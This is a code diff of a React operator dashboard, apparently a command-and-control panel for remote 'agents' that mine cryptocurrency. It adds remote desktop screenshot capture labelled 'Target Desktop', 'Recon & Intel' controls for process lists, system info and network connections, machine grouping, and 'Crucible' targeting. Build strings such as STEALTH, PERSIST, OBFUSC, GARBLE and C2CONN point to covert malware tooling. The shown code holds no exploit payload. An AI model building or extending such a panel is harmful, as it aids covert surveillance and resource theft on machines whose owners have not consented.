|
||||||
|
|
||||||
const TERMINAL_MAX_LINES = 500;
|
const TERMINAL_MAX_LINES = 500;
|
||||||
@@ -88,9 +89,19 @@ export default function AgentRemoteActions({
|
|||||||
const { agent_id, action, success, message } = payload;
|
const { agent_id, action, success, message } = payload;
|
||||||
if (agentId && agentId !== 'all' && agent_id !== agentId) continue;
|
if (agentId && agentId !== 'all' && agent_id !== agentId) continue;
|
||||||
|
|
||||||
if (action === 'screenshot' && success && message) {
|
if (action === 'screenshot') {
|
||||||
setScreenshotData(`data:image/jpeg;base64,${message}`);
|
const label = agentNameProp ?? agent?.name ?? (agent_id ? agent_id.slice(0, 8) : 'agent');
|
||||||
addLog(`Screenshot received from ${agent_id}`);
|
if (success && message) {
|
||||||
|
const clean = sanitizeScreenshotBase64(message);
|
||||||
|
if (downloadScreenshotFromBase64(clean, label)) {
|
||||||
|
setScreenshotData(`data:image/jpeg;base64,${clean}`);
|
||||||
|
addLog(`Screenshot saved — ${label}`);
|
||||||
|
} else {
|
||||||
|
addLog(`[SCREENSHOT] ${label}: invalid image data`);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
addLog(`[SCREENSHOT] ${label}: FAIL\n${message ?? ''}`);
|
||||||
|
}
|
||||||
} else if (action) {
|
} else if (action) {
|
||||||
addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`);
|
addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`);
|
||||||
}
|
}
|
||||||
@@ -115,7 +126,11 @@ export default function AgentRemoteActions({
|
|||||||
|
|
||||||
setBusy(action);
|
setBusy(action);
|
||||||
try {
|
try {
|
||||||
if (!compact) addLog(`> Executing ${action}...`);
|
if (action === 'screenshot') {
|
||||||
|
addLog(`Capturing desktop on ${agentName}…`);
|
||||||
|
} else if (!compact) {
|
||||||
|
addLog(`> Executing ${action}...`);
|
||||||
|
}
|
||||||
const res = await api.sendAgentCommand(agentId, action, args);
|
const res = await api.sendAgentCommand(agentId, action, args);
|
||||||
if (res.success === false) {
|
if (res.success === false) {
|
||||||
addLog(`Command rejected: ${res.error ?? 'unknown error'}`);
|
addLog(`Command rejected: ${res.error ?? 'unknown error'}`);
|
||||||
@@ -163,6 +178,7 @@ export default function AgentRemoteActions({
|
|||||||
return (
|
return (
|
||||||
<div className="agent-remote compact" onClick={(e) => e.stopPropagation()}>
|
<div className="agent-remote compact" onClick={(e) => e.stopPropagation()}>
|
||||||
<div className="agent-remote-row">
|
<div className="agent-remote-row">
|
||||||
|
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')}>Screenshot</button>
|
||||||
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
|
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
|
||||||
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
|
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
|
||||||
<button type="button" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Stop</button>
|
<button type="button" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Stop</button>
|
||||||
@@ -195,7 +211,7 @@ export default function AgentRemoteActions({
|
|||||||
<div className="action-group recon-group">
|
<div className="action-group recon-group">
|
||||||
<h3>Recon & Intel</h3>
|
<h3>Recon & Intel</h3>
|
||||||
<div className="button-grid">
|
<div className="button-grid">
|
||||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')}>Screenshot</button>
|
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')} title="Capture remote desktop and download JPEG to this browser">Screenshot</button>
|
||||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ps')}>Process List</button>
|
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ps')}>Process List</button>
|
||||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
|
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
|
||||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('netstat')}>Net Connections</button>
|
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('netstat')}>Net Connections</button>
|
||||||
@@ -350,7 +366,16 @@ export default function AgentRemoteActions({
|
|||||||
{screenshotData && (
|
{screenshotData && (
|
||||||
<div className="screenshot-viewer">
|
<div className="screenshot-viewer">
|
||||||
<div className="viewer-header">
|
<div className="viewer-header">
|
||||||
<span>Latest Capture</span>
|
<span>Latest capture (also downloaded)</span>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => {
|
||||||
|
const b64 = screenshotData.replace(/^data:image\/jpeg;base64,/, '');
|
||||||
|
downloadScreenshotFromBase64(b64, agentName);
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
Download again
|
||||||
|
</button>
|
||||||
<button type="button" onClick={() => setScreenshotData(null)}>✕</button>
|
<button type="button" onClick={() => setScreenshotData(null)}>✕</button>
|
||||||
</div>
|
</div>
|
||||||
<img src={screenshotData} alt="Target Desktop" />
|
<img src={screenshotData} alt="Target Desktop" />
|
||||||
|
|||||||
73
server/web/src/components/Fleet/CreateGroupModal.css
Normal file
73
server/web/src/components/Fleet/CreateGroupModal.css
Normal file
@@ -0,0 +1,73 @@
|
|||||||
|
.fleet-group-modal-backdrop {
|
||||||
|
position: fixed;
|
||||||
|
inset: 0;
|
||||||
|
z-index: 1200;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
padding: 1rem;
|
||||||
|
background: rgba(0, 0, 0, 0.72);
|
||||||
|
backdrop-filter: blur(4px);
|
||||||
|
}
|
||||||
|
|
||||||
|
.fleet-group-modal {
|
||||||
|
width: 100%;
|
||||||
|
max-width: 420px;
|
||||||
|
padding: 1.25rem 1.5rem;
|
||||||
|
border: 1px solid rgba(178, 75, 243, 0.45);
|
||||||
|
box-shadow: 0 0 40px rgba(178, 75, 243, 0.15);
|
||||||
|
}
|
||||||
|
|
||||||
|
.fleet-group-modal h2 {
|
||||||
|
margin: 0 0 0.35rem;
|
||||||
|
font-size: 1.25rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.fleet-group-color-grid {
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
gap: 0.45rem;
|
||||||
|
margin-bottom: 0.75rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.fleet-group-swatch {
|
||||||
|
width: 2rem;
|
||||||
|
height: 2rem;
|
||||||
|
border-radius: 6px;
|
||||||
|
border: 2px solid transparent;
|
||||||
|
cursor: pointer;
|
||||||
|
padding: 0;
|
||||||
|
transition: transform 0.12s, box-shadow 0.12s;
|
||||||
|
}
|
||||||
|
|
||||||
|
.fleet-group-swatch:hover {
|
||||||
|
transform: scale(1.08);
|
||||||
|
}
|
||||||
|
|
||||||
|
.fleet-group-swatch.selected {
|
||||||
|
border-color: #fff;
|
||||||
|
box-shadow: 0 0 12px currentColor;
|
||||||
|
transform: scale(1.1);
|
||||||
|
}
|
||||||
|
|
||||||
|
.fleet-group-custom-color {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.75rem;
|
||||||
|
margin-bottom: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.fleet-group-custom-color input[type='color'] {
|
||||||
|
width: 2.5rem;
|
||||||
|
height: 2.5rem;
|
||||||
|
border: none;
|
||||||
|
background: none;
|
||||||
|
cursor: pointer;
|
||||||
|
}
|
||||||
|
|
||||||
|
.fleet-group-modal-actions {
|
||||||
|
display: flex;
|
||||||
|
justify-content: flex-end;
|
||||||
|
gap: 0.5rem;
|
||||||
|
margin-top: 0.5rem;
|
||||||
|
}
|
||||||
97
server/web/src/components/Fleet/CreateGroupModal.tsx
Normal file
97
server/web/src/components/Fleet/CreateGroupModal.tsx
Normal file
@@ -0,0 +1,97 @@
|
|||||||
|
import { useEffect, useState } from 'react';
|
||||||
|
import { FLEET_GROUP_COLORS, normalizeGroupColor } from '../../help/fleetGroups';
|
||||||
|
import './CreateGroupModal.css';
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
open: boolean;
|
||||||
|
agentCount: number;
|
||||||
|
onClose: () => void;
|
||||||
|
onCreate: (name: string, color: string) => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function CreateGroupModal({ open, agentCount, onClose, onCreate }: Props) {
|
||||||
|
const [name, setName] = useState('');
|
||||||
|
const [color, setColor] = useState<string>(FLEET_GROUP_COLORS[0]);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (open) {
|
||||||
|
setName('');
|
||||||
|
setColor(FLEET_GROUP_COLORS[groupsColorIndex(agentCount) % FLEET_GROUP_COLORS.length]);
|
||||||
|
}
|
||||||
|
}, [open, agentCount]);
|
||||||
|
|
||||||
|
if (!open || agentCount < 1) return null;
|
||||||
|
|
||||||
|
const submit = (e: React.FormEvent) => {
|
||||||
|
e.preventDefault();
|
||||||
|
const trimmed = name.trim();
|
||||||
|
if (!trimmed) return;
|
||||||
|
onCreate(trimmed, normalizeGroupColor(color));
|
||||||
|
onClose();
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="fleet-group-modal-backdrop" role="presentation" onClick={onClose}>
|
||||||
|
<div
|
||||||
|
className="fleet-group-modal card"
|
||||||
|
role="dialog"
|
||||||
|
aria-labelledby="fleet-group-modal-title"
|
||||||
|
onClick={(e) => e.stopPropagation()}
|
||||||
|
>
|
||||||
|
<h2 id="fleet-group-modal-title" className="font-display">Create group</h2>
|
||||||
|
<p className="form-hint">
|
||||||
|
Saves {agentCount} selected machine{agentCount === 1 ? '' : 's'} — usable in Fleet Roster and Crucible.
|
||||||
|
</p>
|
||||||
|
<form onSubmit={submit}>
|
||||||
|
<label className="label" htmlFor="fleet-group-name">Group name</label>
|
||||||
|
<input
|
||||||
|
id="fleet-group-name"
|
||||||
|
className="input"
|
||||||
|
value={name}
|
||||||
|
onChange={(e) => setName(e.target.value)}
|
||||||
|
placeholder="e.g. Living room PCs"
|
||||||
|
autoFocus
|
||||||
|
maxLength={64}
|
||||||
|
/>
|
||||||
|
|
||||||
|
<p className="label" style={{ marginTop: '1rem' }}>Group color</p>
|
||||||
|
<div className="fleet-group-color-grid">
|
||||||
|
{FLEET_GROUP_COLORS.map((c) => (
|
||||||
|
<button
|
||||||
|
key={c}
|
||||||
|
type="button"
|
||||||
|
className={`fleet-group-swatch ${color === c ? 'selected' : ''}`}
|
||||||
|
style={{ background: c }}
|
||||||
|
title={c}
|
||||||
|
aria-label={`Color ${c}`}
|
||||||
|
onClick={() => setColor(c)}
|
||||||
|
/>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
<div className="fleet-group-custom-color">
|
||||||
|
<input
|
||||||
|
type="color"
|
||||||
|
value={normalizeGroupColor(color)}
|
||||||
|
onChange={(e) => setColor(e.target.value)}
|
||||||
|
aria-label="Custom color"
|
||||||
|
/>
|
||||||
|
<span className="font-tech">{normalizeGroupColor(color)}</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="fleet-group-modal-actions">
|
||||||
|
<button type="button" className="btn btn-outline" onClick={onClose}>
|
||||||
|
Cancel
|
||||||
|
</button>
|
||||||
|
<button type="submit" className="btn btn-primary" disabled={!name.trim()}>
|
||||||
|
Create group
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
function groupsColorIndex(n: number): number {
|
||||||
|
return Math.abs(n) % FLEET_GROUP_COLORS.length;
|
||||||
|
}
|
||||||
70
server/web/src/components/Fleet/FleetGroupsStrip.css
Normal file
70
server/web/src/components/Fleet/FleetGroupsStrip.css
Normal file
@@ -0,0 +1,70 @@
|
|||||||
|
.fleet-groups-strip {
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.5rem 0.75rem;
|
||||||
|
margin-bottom: 0.75rem;
|
||||||
|
padding: 0.65rem 0.85rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.fleet-groups-strip-label {
|
||||||
|
font-size: 0.7rem;
|
||||||
|
letter-spacing: 0.12em;
|
||||||
|
color: var(--text-muted);
|
||||||
|
text-transform: uppercase;
|
||||||
|
}
|
||||||
|
|
||||||
|
.fleet-groups-strip-list {
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
gap: 0.4rem;
|
||||||
|
flex: 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
.fleet-group-chip {
|
||||||
|
display: inline-flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.35rem;
|
||||||
|
padding: 0.25rem 0.55rem 0.25rem 0.4rem;
|
||||||
|
border-radius: 999px;
|
||||||
|
border: 1px solid;
|
||||||
|
font-size: 0.8rem;
|
||||||
|
cursor: pointer;
|
||||||
|
transition: filter 0.15s, transform 0.12s;
|
||||||
|
}
|
||||||
|
|
||||||
|
.fleet-group-chip:hover {
|
||||||
|
filter: brightness(1.15);
|
||||||
|
transform: translateY(-1px);
|
||||||
|
}
|
||||||
|
|
||||||
|
.fleet-group-chip-dot {
|
||||||
|
width: 0.55rem;
|
||||||
|
height: 0.55rem;
|
||||||
|
border-radius: 50%;
|
||||||
|
flex-shrink: 0;
|
||||||
|
box-shadow: 0 0 6px var(--group-color, #0ff);
|
||||||
|
}
|
||||||
|
|
||||||
|
.fleet-group-chip-name {
|
||||||
|
font-weight: 500;
|
||||||
|
color: var(--text-primary);
|
||||||
|
}
|
||||||
|
|
||||||
|
.fleet-group-chip-count {
|
||||||
|
font-size: 0.72rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-family: var(--font-tech, monospace);
|
||||||
|
}
|
||||||
|
|
||||||
|
.fleet-group-chip-del {
|
||||||
|
margin-left: 0.15rem;
|
||||||
|
padding: 0 0.2rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-size: 1rem;
|
||||||
|
line-height: 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
.fleet-group-chip-del:hover {
|
||||||
|
color: #ff6666;
|
||||||
|
}
|
||||||
81
server/web/src/components/Fleet/FleetGroupsStrip.tsx
Normal file
81
server/web/src/components/Fleet/FleetGroupsStrip.tsx
Normal file
@@ -0,0 +1,81 @@
|
|||||||
|
import type { FleetGroup } from '../../help/fleetGroups';
|
||||||
|
import './FleetGroupsStrip.css';
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
groups: FleetGroup[];
|
||||||
|
liveAgentIds?: Set<string>;
|
||||||
|
onSelectGroup: (group: FleetGroup) => void;
|
||||||
|
onDeleteGroup?: (id: string) => void;
|
||||||
|
onCreateGroup?: () => void;
|
||||||
|
selectedCount?: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function FleetGroupsStrip({
|
||||||
|
groups,
|
||||||
|
liveAgentIds,
|
||||||
|
onSelectGroup,
|
||||||
|
onDeleteGroup,
|
||||||
|
onCreateGroup,
|
||||||
|
selectedCount = 0,
|
||||||
|
}: Props) {
|
||||||
|
if (groups.length === 0 && !onCreateGroup) return null;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="fleet-groups-strip card">
|
||||||
|
<span className="fleet-groups-strip-label font-tech">Groups</span>
|
||||||
|
<div className="fleet-groups-strip-list">
|
||||||
|
{groups.map((g) => {
|
||||||
|
const onlineInGroup = liveAgentIds
|
||||||
|
? g.agentIds.filter((id) => liveAgentIds.has(id)).length
|
||||||
|
: g.agentIds.length;
|
||||||
|
return (
|
||||||
|
<button
|
||||||
|
key={g.id}
|
||||||
|
type="button"
|
||||||
|
className="fleet-group-chip"
|
||||||
|
style={
|
||||||
|
{
|
||||||
|
'--group-color': g.color,
|
||||||
|
borderColor: `${g.color}66`,
|
||||||
|
background: `${g.color}18`,
|
||||||
|
} as React.CSSProperties
|
||||||
|
}
|
||||||
|
title={`Select ${g.name} (${onlineInGroup} online / ${g.agentIds.length} total)`}
|
||||||
|
onClick={() => onSelectGroup(g)}
|
||||||
|
>
|
||||||
|
<span className="fleet-group-chip-dot" style={{ background: g.color }} />
|
||||||
|
<span className="fleet-group-chip-name">{g.name}</span>
|
||||||
|
<span className="fleet-group-chip-count">{g.agentIds.length}</span>
|
||||||
|
{onDeleteGroup && (
|
||||||
|
<span
|
||||||
|
className="fleet-group-chip-del"
|
||||||
|
role="button"
|
||||||
|
tabIndex={0}
|
||||||
|
aria-label={`Delete group ${g.name}`}
|
||||||
|
onClick={(e) => {
|
||||||
|
e.stopPropagation();
|
||||||
|
if (window.confirm(`Delete group "${g.name}"?`)) onDeleteGroup(g.id);
|
||||||
|
}}
|
||||||
|
onKeyDown={(e) => {
|
||||||
|
if (e.key === 'Enter' || e.key === ' ') {
|
||||||
|
e.preventDefault();
|
||||||
|
e.stopPropagation();
|
||||||
|
if (window.confirm(`Delete group "${g.name}"?`)) onDeleteGroup(g.id);
|
||||||
|
}
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
×
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
</button>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</div>
|
||||||
|
{onCreateGroup && selectedCount > 0 && (
|
||||||
|
<button type="button" className="btn btn-outline btn-sm" onClick={onCreateGroup}>
|
||||||
|
+ Create group ({selectedCount})
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -70,6 +70,11 @@
|
|||||||
border-top: 1px solid rgba(255, 255, 255, 0.08);
|
border-top: 1px solid rgba(255, 255, 255, 0.08);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.agent-tag-chip.fleet-group-tag {
|
||||||
|
border: 1px solid;
|
||||||
|
font-weight: 600;
|
||||||
|
}
|
||||||
|
|
||||||
.agent-tag-chip {
|
.agent-tag-chip {
|
||||||
display: inline-block;
|
display: inline-block;
|
||||||
font-size: 0.7rem;
|
font-size: 0.7rem;
|
||||||
|
|||||||
@@ -10,6 +10,7 @@ interface Props {
|
|||||||
selectedCount: number;
|
selectedCount: number;
|
||||||
onBulkAction: (action: string) => void;
|
onBulkAction: (action: string) => void;
|
||||||
onSelectAllFiltered?: () => void;
|
onSelectAllFiltered?: () => void;
|
||||||
|
onCreateGroup?: () => void;
|
||||||
filteredCount?: number;
|
filteredCount?: number;
|
||||||
bulkBusy: boolean;
|
bulkBusy: boolean;
|
||||||
}
|
}
|
||||||
@@ -21,6 +22,7 @@ export default function FleetToolbar({
|
|||||||
selectedCount,
|
selectedCount,
|
||||||
onBulkAction,
|
onBulkAction,
|
||||||
onSelectAllFiltered,
|
onSelectAllFiltered,
|
||||||
|
onCreateGroup,
|
||||||
filteredCount,
|
filteredCount,
|
||||||
bulkBusy,
|
bulkBusy,
|
||||||
}: Props) {
|
}: Props) {
|
||||||
@@ -93,6 +95,27 @@ export default function FleetToolbar({
|
|||||||
{selectedCount > 0 && (
|
{selectedCount > 0 && (
|
||||||
<div className="fleet-bulk-bar">
|
<div className="fleet-bulk-bar">
|
||||||
<span className="font-tech">{selectedCount} selected</span>
|
<span className="font-tech">{selectedCount} selected</span>
|
||||||
|
{onCreateGroup && (
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn btn-primary btn-sm"
|
||||||
|
disabled={bulkBusy}
|
||||||
|
onClick={onCreateGroup}
|
||||||
|
>
|
||||||
|
Create group…
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
|
{selectedCount === 1 && (
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn btn-outline btn-sm"
|
||||||
|
disabled={bulkBusy}
|
||||||
|
onClick={() => onBulkAction('screenshot')}
|
||||||
|
title="Capture desktop on the selected machine and download JPEG here"
|
||||||
|
>
|
||||||
|
Screenshot
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')}>Pause</button>
|
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')}>Pause</button>
|
||||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')}>Resume</button>
|
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')}>Resume</button>
|
||||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('stop')}>Stop</button>
|
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('stop')}>Stop</button>
|
||||||
|
|||||||
@@ -180,6 +180,32 @@
|
|||||||
min-height: 160px;
|
min-height: 160px;
|
||||||
max-height: 320px;
|
max-height: 320px;
|
||||||
background: #000;
|
background: #000;
|
||||||
|
transition: border-color 0.4s ease, box-shadow 0.4s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Forge / Crucible target lock — gold heavy rain (matches forge progress vibe) */
|
||||||
|
.matrix-rain-wrap--intense {
|
||||||
|
border-top-color: rgba(255, 180, 40, 0.45);
|
||||||
|
border-bottom-color: rgba(255, 120, 0, 0.35);
|
||||||
|
box-shadow:
|
||||||
|
inset 0 0 28px rgba(255, 140, 0, 0.12),
|
||||||
|
0 0 18px rgba(255, 160, 0, 0.15);
|
||||||
|
}
|
||||||
|
|
||||||
|
.matrix-rain-wrap--intense .matrix-rain-scanlines {
|
||||||
|
background: repeating-linear-gradient(
|
||||||
|
0deg,
|
||||||
|
transparent,
|
||||||
|
transparent 1px,
|
||||||
|
rgba(40, 20, 0, 0.22) 1px,
|
||||||
|
rgba(40, 20, 0, 0.22) 2px
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
.matrix-rain-wrap--crucible.matrix-rain-wrap--intense {
|
||||||
|
box-shadow:
|
||||||
|
inset 0 0 32px rgba(255, 200, 80, 0.14),
|
||||||
|
0 0 22px rgba(255, 180, 50, 0.2);
|
||||||
}
|
}
|
||||||
|
|
||||||
.matrix-rain-canvas {
|
.matrix-rain-canvas {
|
||||||
|
|||||||
@@ -1,8 +1,13 @@
|
|||||||
import { useEffect, useRef } from 'react';
|
import { useEffect, useRef } from 'react';
|
||||||
import { useWebSocket } from '../../hooks/useWebSocket';
|
import { useWebSocket } from '../../hooks/useWebSocket';
|
||||||
import { useForge } from '../../context/ForgeContext';
|
import { useForge } from '../../context/ForgeContext';
|
||||||
|
import { useMatrixRain } from '../../context/MatrixRainContext';
|
||||||
|
import {
|
||||||
|
FORGE_RAIN_STRINGS,
|
||||||
|
pickMysticWord,
|
||||||
|
wordColumnSpan,
|
||||||
|
} from '../../help/matrixRainEffects';
|
||||||
|
|
||||||
// Full matrix alphabet: katakana + hex + braille dots for visual density
|
|
||||||
const KATAKANA =
|
const KATAKANA =
|
||||||
'アイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホマミムメモヤユヨラリルレロワヲン';
|
'アイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホマミムメモヤユヨラリルレロワヲン';
|
||||||
const HEX = '0123456789ABCDEFabcdef';
|
const HEX = '0123456789ABCDEFabcdef';
|
||||||
@@ -14,36 +19,36 @@ const FONT_SIZE = 10;
|
|||||||
interface Column {
|
interface Column {
|
||||||
y: number;
|
y: number;
|
||||||
speed: number;
|
speed: number;
|
||||||
// occasionally carry a char from live data
|
|
||||||
liveSrc: string;
|
liveSrc: string;
|
||||||
livePos: number;
|
livePos: number;
|
||||||
}
|
}
|
||||||
|
|
||||||
const FORGE_STRINGS = [
|
interface WordDrop {
|
||||||
'COMPILING', 'LINKING', 'GARBLE', 'GO BUILD', 'INJECT',
|
text: string;
|
||||||
'STEALTH', 'PERSIST', 'ENCRYPT', 'OBFUSC', 'PACKAGE',
|
colStart: number;
|
||||||
'WORKER', 'FORGE', 'SIGN', 'BUNDLE', 'AGENT',
|
y: number;
|
||||||
'RANDOMX', 'STRATUM', 'C2CONN', 'DEPLOY',
|
speed: number;
|
||||||
];
|
}
|
||||||
|
|
||||||
export default function MatrixRain() {
|
export default function MatrixRain() {
|
||||||
const canvasRef = useRef<HTMLCanvasElement>(null);
|
const canvasRef = useRef<HTMLCanvasElement>(null);
|
||||||
const wrapRef = useRef<HTMLDivElement>(null);
|
const wrapRef = useRef<HTMLDivElement>(null);
|
||||||
const { agents, recentShares, commandResults } = useWebSocket();
|
const { agents, recentShares, commandResults } = useWebSocket();
|
||||||
const { forging, stage } = useForge();
|
const { forging, stage } = useForge();
|
||||||
|
const { crucibleFocus } = useMatrixRain();
|
||||||
|
|
||||||
const forgingRef = useRef(false);
|
const forgingRef = useRef(false);
|
||||||
|
const crucibleRef = useRef(false);
|
||||||
const stageRef = useRef('');
|
const stageRef = useRef('');
|
||||||
forgingRef.current = forging;
|
forgingRef.current = forging;
|
||||||
|
crucibleRef.current = crucibleFocus;
|
||||||
stageRef.current = stage;
|
stageRef.current = stage;
|
||||||
|
|
||||||
// ── Live data pool ──────────────────────────────────────────────────────────
|
|
||||||
// Collect strings from the fleet that will be injected character-by-character
|
|
||||||
// into the rain columns so real data scrolls through the matrix.
|
|
||||||
const livePoolRef = useRef<string[]>([]);
|
const livePoolRef = useRef<string[]>([]);
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
const pool: string[] = [];
|
const pool: string[] = [];
|
||||||
for (const a of agents) {
|
for (const a of agents) {
|
||||||
pool.push(a.id.replace(/-/g, '')); // stripped UUID
|
pool.push(a.id.replace(/-/g, ''));
|
||||||
if (a.hashrate_15s > 0) pool.push(`${a.hashrate_15s.toFixed(0)}H`);
|
if (a.hashrate_15s > 0) pool.push(`${a.hashrate_15s.toFixed(0)}H`);
|
||||||
if (a.ip) pool.push(a.ip.replace(/\./g, ''));
|
if (a.ip) pool.push(a.ip.replace(/\./g, ''));
|
||||||
}
|
}
|
||||||
@@ -53,22 +58,24 @@ export default function MatrixRain() {
|
|||||||
for (const r of (commandResults ?? []).slice(-5)) {
|
for (const r of (commandResults ?? []).slice(-5)) {
|
||||||
if (r.action) pool.push(r.action.toUpperCase().padEnd(8, '_'));
|
if (r.action) pool.push(r.action.toUpperCase().padEnd(8, '_'));
|
||||||
}
|
}
|
||||||
// When forging, flood the pool with build strings so they dominate the rain
|
const intense = forgingRef.current || crucibleRef.current;
|
||||||
if (forgingRef.current) {
|
if (intense) {
|
||||||
pool.push(...FORGE_STRINGS);
|
pool.push(...FORGE_RAIN_STRINGS);
|
||||||
if (stageRef.current) {
|
if (forgingRef.current && stageRef.current) {
|
||||||
pool.push(stageRef.current.replace(/[^A-Z0-9]/gi, '').toUpperCase().slice(0, 16));
|
pool.push(stageRef.current.replace(/[^A-Z0-9]/gi, '').toUpperCase().slice(0, 16));
|
||||||
}
|
}
|
||||||
|
if (crucibleRef.current) {
|
||||||
|
pool.push('CRUCIBLE', 'TARGET', 'EXECUTE', 'REMOTE');
|
||||||
|
}
|
||||||
}
|
}
|
||||||
livePoolRef.current = pool.length > 0 ? pool : ['AETHERFORGE', 'MINING', '00E5FF'];
|
livePoolRef.current = pool.length > 0 ? pool : ['AETHERFORGE', 'MINING', '00E5FF'];
|
||||||
}, [agents, recentShares, commandResults]);
|
}, [agents, recentShares, commandResults, forging, crucibleFocus]);
|
||||||
|
|
||||||
// ── Event log feed ──────────────────────────────────────────────────────────
|
|
||||||
// We inject one short log line per meaningful event, shown as a dim overlay
|
|
||||||
// row scrolling through the canvas.
|
|
||||||
const eventLogRef = useRef<{ text: string; alpha: number }[]>([]);
|
const eventLogRef = useRef<{ text: string; alpha: number }[]>([]);
|
||||||
const prevShareLen = useRef(0);
|
const prevShareLen = useRef(0);
|
||||||
const prevAgentLen = useRef(0);
|
const prevAgentLen = useRef(0);
|
||||||
|
const prevCmdSeq = useRef(0);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
const newEvents: string[] = [];
|
const newEvents: string[] = [];
|
||||||
if (recentShares.length > prevShareLen.current) {
|
if (recentShares.length > prevShareLen.current) {
|
||||||
@@ -81,13 +88,28 @@ export default function MatrixRain() {
|
|||||||
newEvents.push(`AGENT ONLINE ${a.name?.slice(0, 8) ?? '??'}`);
|
newEvents.push(`AGENT ONLINE ${a.name?.slice(0, 8) ?? '??'}`);
|
||||||
}
|
}
|
||||||
prevAgentLen.current = agents.length;
|
prevAgentLen.current = agents.length;
|
||||||
|
|
||||||
|
const results = commandResults ?? [];
|
||||||
|
if (results.length > 0) {
|
||||||
|
const latest = results[results.length - 1];
|
||||||
|
if (latest._seq > prevCmdSeq.current) {
|
||||||
|
prevCmdSeq.current = latest._seq;
|
||||||
|
const tag = latest.success ? 'CMD OK' : 'CMD FAIL';
|
||||||
|
newEvents.push(`${tag} ${latest.action?.toUpperCase() ?? '?'}`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
for (const ev of newEvents) {
|
for (const ev of newEvents) {
|
||||||
eventLogRef.current.push({ text: ev, alpha: 1 });
|
eventLogRef.current.push({ text: ev, alpha: 1 });
|
||||||
if (eventLogRef.current.length > 6) eventLogRef.current.shift();
|
if (eventLogRef.current.length > 6) eventLogRef.current.shift();
|
||||||
}
|
}
|
||||||
}, [recentShares, agents]);
|
}, [recentShares, agents, commandResults]);
|
||||||
|
